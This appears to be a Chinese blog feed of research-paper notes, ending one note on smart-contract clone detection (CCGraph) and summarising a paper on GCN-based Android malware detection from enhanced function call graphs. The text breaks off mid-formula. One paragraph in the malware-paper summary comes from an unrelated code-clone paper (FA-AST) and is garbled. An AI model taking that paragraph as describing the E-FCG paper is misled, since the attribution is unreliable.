/></p><p>过滤率是指过滤后的PDG对的数量除以总PDG对的数量。它可以排除大多数候选PDG对,并有助于稍后加速图形匹配过程。</p><ol><li>从每个数据集的过滤后的PDG对中随机选择了20个PDG对,进行了三次,并确定了在20个PDG对中被误过滤的克隆对的数量。</li><li>根据表5所示的结果,我们过滤错误的克隆对的数量非常少,这也验证了过滤策略的有效性.</li></ol><p>The Number of Misfiltered Clone Pairs of 3 Sampling Examinations</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104542.png" alt="image-20210321104542299" /></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104633.png" alt="image-20210321104633498" /></p><p>Time cost comparison between CCSharp and CCGraph</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104652.png" alt="image-20210321104652563" /></p><p>CCGraph针对其他工具检测到的克隆数</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104707.png" alt="image-20210321104707019" /></p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>图匹配</tag>
</tags>
</entry>
<entry>
<title>Learning features from enhanced function call graphs for Android malware detection</title>
<link href="/2021/01826cf81f.html"/>
<url>/2021/01826cf81f.html</url>
<content type="html"><![CDATA[<h1 id="e-fcgs"><a class="markdownIt-Anchor" href="#e-fcgs"></a> E-FCGS</h1><p>论文题目: (2020-Neurocomputing) Learning features from enhanced function call graphs for Android malware detection —— 从增强的函数调用图中学习功能以检测Android恶意软件</p><p>论文引用:Cai M, Jiang Y, Gao C, et al. Learning features from enhanced function call graphs for Android malware detection[J]. Neurocomputing, 2021, 423: 301-307.</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文尝试从函数调用中了解应用程序的行为级别特征;这个任务的挑战是双重的。首先,缺少函数属性会妨碍对应用程序行为的理解其次,经典的机器学习算法无法直接处理函数调用的图形表示</p><p>为了解决以上两个问题,本文提出两个方法:</p><ol><li>提出了增强函数调用图(E-FCG)的概念来表征应用程序运行时行为</li><li>开发基于图卷积网络(GCN)的算法来 <strong>获取</strong> E-FCG的矢量表示。</li></ol><p>结果表明,通过本文方法学习到的特征可以在各种分类器(例如LR,DT,SVM,KNN,RF,MLP和CNN)上实现高检测性能。</p><hr /><p>别是,为了利用语法信息,几种方法使用抽象语法树(AST)作为输入,并在各种编程语言中的代码克隆基准方面取得了重大进展。</p><p>但是,这些基于AST的方法仍然不能充分利用代码片段的结构信息,尤其是诸如控制流和数据流之类的语义信息。</p><p>为了利用控制和数据流信息,在本文中,我们建立了一个称为流增强抽象语法树(FA-AST)的程序的图形表示。</p><p>我们通过使用显式控制和数据流边缘扩展原始AST来构造FA-AST。</p><p>然后,我们在FA-AST上应用两种不同类型的图神经网络(GNN)来测量代码对的相似性。</p><p>就我们而言,我们是第一个将图神经网络应用于代码克隆检测领域的公司。</p><h2 id="二-知识背景"><a class="markdownIt-Anchor" href="#二-知识背景"></a> 二、知识背景</h2><h3 id="fcg"><a class="markdownIt-Anchor" href="#fcg"></a> FCG</h3><p>函数调用(Function calls)通常表示为二进制向量或有向图,在FCG(Function Call Graph)中 每个节点代表一个函数,每个边代表一个函数调用。</p><ul><li>与矢量表示相比,图形表示可提供有关应用程序工作方式的更多信息,从而有助于恶意软件检测。</li><li>比如:一个FCG中包含onReceive()和startService()之间的一条边,过分析此FCG,认识到该应用程序调用onReceive() 来接收系统广播的BOOT COMPLETE,然后调用startService()来启动用于私有用户数据收集的Service组件,此行为表明该应用程序可能是恶意的</li></ul><p>但是,FCG不会告诉有关节点或者函数特征 的信息,例如函数的含义;函数的属性对于恶意软件检测至关重要,</p><ul><li>例如,在不了解startService()含义的情况下,无法理解应用程序的行为。其次,传统的机器学习算法由于其非欧几里德结构而无法直接处理FCG。</li></ul><p>本文使用了 函数embedding 和 基于GCN(图卷积网络)的特征学习解决了以上问题。</p><h3 id="embedding"><a class="markdownIt-Anchor" href="#embedding"></a> embedding</h3><p>应用程序中的函数类似于文档中的单词,借用词嵌入(word embedding)的思想</p><ol><li>将函数嵌入到低维向量空间中,该空间中的每个向量都表示一个函数的属性</li><li>这些属性可以表征该函数的动作,各个函数之间的函数相似性以及与其他函数的关系。</li><li>通过向FCG中的每个节点分配函数属性来创建增强的FCG(E-FCG)</li></ol><h3 id="gcn"><a class="markdownIt-Anchor" href="#gcn"></a> GCN</h3><p>分类器不能直接处理FCG和E-FCG,受图嵌入的启发,本文开发了一种基于GCN的行为级别特征提取算法(BLFE,Behavior Level Features Exaction algorithm)来从E-FCG中学习行为级别特征,通过本文算法获得的有用且密集的矢量表示形式可被各种分类器用于恶意软件检测。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206113304.png" alt="image-20210206113304097" /></p><h2 id="三-设计实现"><a class="markdownIt-Anchor" href="#三-设计实现"></a> 三、设计实现</h2><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206154027.png" alt="image-20210206154027712" /></p><center>The process flow of an Android app<h3 id="construction-of-e-fcgs"><a class="markdownIt-Anchor" href="#construction-of-e-fcgs"></a> Construction of E-FCGs</h3><p>对于Android应用程序,可以通过处理其classes.dex文件来获取函数调用的信息。</p><p>意识到程序中的函数类似于文档中的单词,本文使用类似于单词嵌入的方法来获取函数属性,称为函数嵌入,旨在将每个函数转换为密集的矢量表示形式。</p><p>函数嵌入的主要过程描述如下:</p><ol><li>对数据集中的每个应用程序,首先创建一个文件(即函数调用记录)以存储函数调用的顺序</li><li>然后通过将所有函数调用记录放在一起来建立语料库,遵循CBOW(Continuous Bag Of Words连续词袋)方法,训练一个具有一个隐藏层的全连接神经网络,以将函数转换为N维向量。</li></ol><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206113902.png" alt="image-20210206113901986" /></p><center>Function embedding<p>如该图的左侧所示,神经网络一次 处理 C 函数 的 单热编码矢量(one-hot encoded vectors)。</p><ul><li>所有函数都具有相同的权重,</li><li>其中 V 是语料库中发生的功能数</li><li>为了训练该神经网络,反复为其提供从语料库中获得的一系列函数 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>F</mi><mrow><mi>t</mi><mo>−</mo><mi>k</mi></mrow></msub><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><msub><mi>F</mi><mrow><mi>t</mi><mo>−</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>F</mi><mrow><mi>t</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><msub><mi>F</mi><mrow><mi>t</mi><mo>+</mo><mi>k</mi></mrow></msub></mrow><annotation encoding="application/x-tex">F_{t-k}...,F_{t-1},F_{t+1},...,F_{t+k}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mbin mtight">−</span><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361079999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span>,并指导其预测函数<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>F</mi><mi>t</mi></msub></mrow><annotation encoding="application/x-tex">F_{t}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2805559999999999em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</li></ul><p>关于模型训练的更多细节<a href="https://www.scopus.com/record/display.uri?eid=2-s2.0-84904549952&origin=inward">Efficient …word representations in vector space</a>可以在中找到。训练阶段结束时,可以使用权重,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>W</mi><mrow><mi>V</mi><mo>×</mo><mi>N</mi></mrow></msub></mrow><annotation encoding="application/x-tex">W_{V\times N}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.891661em;vertical-align:-0.208331em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.328331em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.22222em;">V</span><span class="mbin mtight">×</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span></span></span></span>得出每个函数的 N维向量 表示形式。</p><p>通过函数嵌入,可以通过将向量表示分配给FCG中的每个节点来构造增强的FCG(E-FCG)</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210206114834.png" alt="image-20210206114834338" /></p><center>An enhanced function call graph (E-FCG).<h3 id="learning-features-from-e-fcgs"><a class="markdownIt-Anchor" href="#learning-features-from-e-fcgs"></a> Learning features from E-FCGs</h3><p>经典分类模型(例如SVM和CNN)无法处理E-FCG,因为E-FCG是<mark>非欧几里得</mark>(non-Euclidean)的,并且属于图数据的类别</p><p>为了解决这个问题,建议使用GCN来向E-FCG学习功能。GCN可以直接在图形上操作并利用其结构信息</p><p>给定E-FCG,GCN的输入:</p><ol><li>特征矩阵X,其中每一行是节点的矢量表示(即特征)</li><li>表示图结构的邻接矩阵A</li></ol><p>在每一层,使用传播规则对要素进行汇总,以形成下一层的要素。因此,每个隐藏层 l,可以表示为:</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mi>H</mi><mi>l</mi></msup><mo>=</mo><mi>f</mi><mo stretchy="false">(</mo><msup><mi>H</mi><mrow><mi>l</mi><mo>−</mo><mn>1</mn></mrow></msup><mo separator="true">,</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">H^{l} = f(H^{l-1},A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.149108em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">A</span><span class="mclose">)</span></span></span></span></span></p><p>其中有$H^0 = X $</p><p>这样,每个连续层的特征变得越来越抽象。遵循[Semi-supervised classification with graph convolutional networks]中给出的广泛使用的 频谱传播规则,有</p><ul><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>σ</mi></mrow><annotation encoding="application/x-tex">\sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span></span></span></span>:非线性变换的激活函数,比如 Relu</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>D</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{D}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9467699999999999em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02778em;">D</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;">^</span></span></span></span></span></span></span></span></span>:<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>A</mi><mo>^</mo></mover></mrow><annotation encoding="application/x-tex">\hat{A}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9467699999999999em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault">A</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.11110999999999999em;">^</span></span></span></span></span></span></span></span></span> 对应的度矩阵</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mi>W</mi><mi>l</mi></msup></mrow><annotation encoding="application/x-tex">W^{l}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.849108em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span></span></span></span></span></span></span></span>:第 l 层的 权重 矩阵</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault">A</span></span></span></span>:结点 对应的邻接矩阵</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mover accent="true"><mi>A</mi><mo>^</mo></mover><mo>=</mo><mi>A</mi><mo>+</mo><msub><mi>I</mi><mi>N</mi></msub></mrow><annotation encoding="application/x-tex">\hat{A} = A + I_N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9467699999999999em;vertical-align:0em;"></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault">A</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.11110999999999999em;">^</span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.76666em;vertical-align:-0.08333em;"></span><span class="mord mathdefault">A</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>:使节点的聚合表示包括其自身的特征</li><li><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>I</mi><mi>N</mi></msub></mrow><annotation encoding="application/x-tex">I_N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07847em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>:单位矩阵</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mi>H</mi><mrow><mi>l</mi><mo>+</mo><mn>1</mn></mrow></msup><mo>=</mo><msup><mover accent="true"><mi>D</mi><mo>^</mo></mover><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msup><mover accent="true"><mi>A</mi><mo>^</mo></mover><msup><mover accent="true"><mi>D</mi><mo>^</mo></mover><mrow><mo>−</mo><mfrac><mn>1</mn><mn>2</mn></mfrac></mrow></msup><msup><mi>H</mi><mi>l</mi></msup><msup><mi>W</mi><mi>l</mi></msup></mrow><annotation encoding="application/x-tex">H^{l+1}=\hat{D}^{-\frac{1}{2}}\hat{A}\hat{D}^{-\frac{1}{2}}H^{l}W^{l}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.0040200000000001em;vertical-align:0em;"></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02778em;">D</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;">^</span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0040200000000001em;"><span style="top:-3.4130000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142858em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault">A</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.11110999999999999em;">^</span></span></span></span></span></span><span class="mord"><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.9467699999999999em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.02778em;">D</span></span></span><span style="top:-3.25233em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;">^</span></span></span></span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0040200000000001em;"><span style="top:-3.4130000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8443142857142858em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.2255000000000003em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.08125em;">H</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">W</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>注意,频谱传播规则主要是为无向图设计的,为了将其应用于E-FCG,计算对角矩阵</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>d</mi><mrow><mi>i</mi><mi>i</mi></mrow></msub><mo>=</mo><munder><mo>∑</mo><mi>j</mi></munder><msub><mi>a</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">d_{ii} = \sum_j a_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.463782em;vertical-align:-1.413777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8723309999999997em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.413777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>d</mi><mrow><mi>i</mi><mi>i</mi></mrow></msub></mrow><annotation encoding="application/x-tex">d_{ii}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" 